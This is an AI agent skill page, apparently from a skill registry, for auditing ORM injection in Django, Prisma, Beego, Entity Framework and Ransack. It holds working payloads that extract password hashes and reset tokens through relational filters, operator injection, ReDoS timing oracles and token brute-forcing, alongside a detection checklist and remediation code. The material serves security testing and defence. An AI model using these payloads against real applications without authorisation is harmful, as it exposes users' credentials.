# Orm Injection Audit

> Audit applications for ORM injection vulnerabilities across Django, Prisma, Beego, Entity Framework, and Ransack. Use this skill whenever you need to test for database query manipulation, filter bypass, relational traversal attacks, or data exfiltration through ORM layers. Trigger this skill for any security audit involving user-controlled database queries, API endpoints with filtering, or applications using ORM frameworks with dynamic query construction.

- Skill: `abelrguezr/orm-injection-audit` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/orm-injection-audit`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/orm-injection-audit/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/orm-injection-audit

---


# ORM Injection Audit Skill

This skill helps you identify and test for ORM injection vulnerabilities where user input directly influences database query construction, potentially allowing attackers to bypass filters, traverse relationships, and exfiltrate sensitive data.

## When to Use This Skill

Use this skill when:
- Auditing APIs that accept filter/search parameters
- Reviewing code that passes user input to ORM query methods
- Testing applications using Django, Prisma, Beego, Entity Framework, or Ransack
- Investigating potential data exfiltration through database queries
- Security testing endpoints with dynamic query construction

## Core Attack Patterns

### 1. Direct Filter Control

**Django ORM:**
```python
# Vulnerable: User controls filter arguments
Article.objects.filter(**request.data)
```

**Prisma:**
```javascript
// Vulnerable: User controls entire query object
const posts = await prisma.article.findMany(req.body.filter)
```

**Beego:**
```go
// Vulnerable: User controls filter expression
qs = qs.Filter(filterExpression, filterValue)
```

### 2. Relational Traversal

ORMs allow traversing relationships using `__` (Django/Beego) or nested objects (Prisma):

**Django/Beego:**
```json
{"created_by__user__password__contains": "pass"}
```

**Prisma:**
```json
{
  "where": {
    "createdBy": {
      "password": {"startsWith": "pas"}
    }
  }
}
```

### 3. Many-to-Many Bypass

Loop back through relationships to bypass filters:

**Django:**
```python
# Bypass is_secret=False filter
Article.objects.filter(is_secret=False, categories__articles__id=2)
```

**Prisma:**
```json
{
  "query": {
    "categories": {
      "some": {
        "articles": {
          "some": {
            "published": false
          }
        }
      }
    }
  }
}
```

### 4. Type Confusion (Operator Injection)

Prisma accepts operator objects where primitives expected:

```json
// Instead of: {"resetToken": "abc123"}
// Send: {"resetToken": {"not": "E"}}
// Result: Matches all users whose token is NOT "E"
```

### 5. Error/Time-Based Oracles

Use regex or complex queries to create timing differences:

```json
// ReDoS attack - timing reveals if pattern matches
{"password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```

## Testing Methodology

### Step 1: Identify Vulnerable Endpoints

Look for:
- API endpoints accepting `filter`, `q`, `query`, `search` parameters
- Code passing `request.data`, `req.body`, or `params` directly to ORM methods
- Dynamic query construction with user-controlled field names
- Missing input validation on filter parameters

### Step 2: Map the Schema

1. Send basic queries to discover available fields
2. Test relationship traversal with `__` operators (Django/Beego) or nested objects (Prisma)
3. Identify sensitive fields: `password`, `token`, `secret`, `api_key`, `tfa_secret`

### Step 3: Test Filter Bypass

**Basic bypass:**
```json
{"field__startswith": "test"}
```

**Relationship bypass:**
```json
{"related_field__sensitive_field__contains": "value"}
```

**Many-to-many bypass:**
```json
{"relation1__relation2__sensitive_field__startswith": "test"}
```

### Step 4: Test Operator Injection

**Prisma type confusion:**
```json
{"field": {"not": "value"}}
{"field": {"contains": "value"}}
{"field": {"startsWith": "value"}}
```

**URL-encoded (Express extended):**
```
field[not]=value
field[contains]=value
```

### Step 5: Test Time-Based Attacks

**Django/Beego regex:**
```json
{"field__regex": "^(?=^pattern).*.*.*.*.*.*.*.*!!!!$"}
```

**Prisma OR with large list:**
```json
{
  "OR": [
    {"NOT": {"field": "value"}},
    {"field": {"in": ["a", "b", "c", ...1000 items]}}
  ]
}
```

### Step 6: Collation-Aware Testing

Database collations affect string comparison:

- **Case-insensitive** (MySQL/MariaDB default): Use `__regex` or `BINARY`
- **Case-sensitive** (PostgreSQL): Standard operators work
- **Custom collations**: Test ordering with `ge`/`lt` comparisons

## Framework-Specific Payloads

### Django ORM

```json
// Login bypass
{"username": "admin", "password_startswith": "a"}

// Password leak via relationship
{"created_by__user__password__contains": "pass"}

// Group-based user traversal
{"created_by__user__groups__user__password__startswith": "admi"}

// Permission-based traversal
{"created_by__user__user_permissions__user__password__startswith": "admi"}

// Filter bypass
{"is_secret": false, "categories__articles__id": 2}

// Time-based oracle
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```

### Prisma ORM

```json
// Full include leak
{
  "filter": {
    "include": {"createdBy": true}
  }
}

// Selective field leak
{
  "filter": {
    "select": {
      "createdBy": {"select": {"password": true}}
    }
  }
}

// Where clause control
{
  "where": {
    "createdBy": {
      "password": {"startsWith": "pas"}
    }
  }
}

// Many-to-many bypass
{
  "query": {
    "categories": {
      "some": {
        "articles": {
          "some": {
            "published": false,
            "secretField": {"startsWith": "test"}
          }
        }
      }
    }
  }
}

// Type confusion
{"resetToken": {"not": "E"}}
{"resetToken": {"contains": "argon2"}}
```

### Beego ORM

```json
// Direct filter control
{"filter": "created_by__user__password__icontains=pbkdf"}

// Harbor-style bypass
{"email__password__startswith": "foo"}

// Fuzzy match bypass
{"q": "email__password=~abc"}
```

### Entity Framework / OData

```
// Comparison oracle
$filter=CreatedBy/TfaSecret ge 'M'
$filter=CreatedBy/TfaSecret lt 'M'

// Navigation property traversal
$filter=CreatedBy/User/Password contains 'pass'
```

### Ransack (Ruby)

```
// Brute-force reset token
q[user_reset_password_token_start]=0
q[user_reset_password_token_start]=1

// Relationship traversal
q[user_id_eq]=1&user[password_start]=pass
```

## Detection Checklist

- [ ] User input passed directly to ORM filter/query methods
- [ ] No allow-list validation on field names
- [ ] No operator validation (allows `__` or nested objects)
- [ ] Sensitive fields exposed in queryable schema
- [ ] Relationship traversal not restricted
- [ ] Response includes pagination metadata (enables counting attacks)
- [ ] Error messages reveal query structure
- [ ] No rate limiting on filter endpoints

## Remediation Guidance

### Input Validation

```python
# Django: Use allow-list
ALLOWED_FIELDS = ['title', 'author', 'category']
ALLOWED_OPERATORS = ['icontains', 'startswith']

def safe_filter(request):
    filters = {}
    for key, value in request.data.items():
        field, op = key.rsplit('__', 1) if '__' in key else (key, 'exact')
        if field in ALLOWED_FIELDS and op in ALLOWED_OPERATORS:
            filters[key] = value
    return Article.objects.filter(**filters)
```

```javascript
// Prisma: Map to allow-listed fields
const ALLOWED_FIELDS = ['title', 'author', 'category'];
const ALLOWED_OPERATORS = ['contains', 'startsWith'];

async function safeQuery(req) {
  const { filter } = req.body;
  const safeFilter = {};
  
  for (const [field, value] of Object.entries(filter)) {
    if (ALLOWED_FIELDS.includes(field)) {
      if (typeof value === 'object') {
        const [op, val] = Object.entries(value)[0];
        if (ALLOWED_OPERATORS.includes(op)) {
          safeFilter[field] = { [op]: val };
        }
      } else {
        safeFilter[field] = { equals: value };
      }
    }
  }
  
  return await prisma.article.findMany({ where: safeFilter });
}
```

### Response Sanitization

- Remove sensitive fields from query results
- Use explicit field selection (SELECT only needed columns)
- Never return passwords, tokens, or secrets in API responses

### Schema Hardening

- Mark sensitive fields as non-queryable
- Use ORM-specific annotations (`filter:"false"` in Beego)
- Implement per-field access controls

## References

- [Plormbing Your Django ORM](https://www.elttam.com/blog/plormbing-your-django-orm/)
- [Plorming Your Prisma ORM](https://www.elttam.com/blog/plorming-your-primsa-orm/)
- [Leaking More Than You Joined For](https://www.elttam.com/blog/leaking-more-than-you-joined-for/)
- [Ransack Data Exfiltration](https://positive.security/blog/ransack-data-exfiltration)
- [Directus CVE-2025-64748](https://nvd.nist.gov/vuln/detail/CVE-2025-64748)

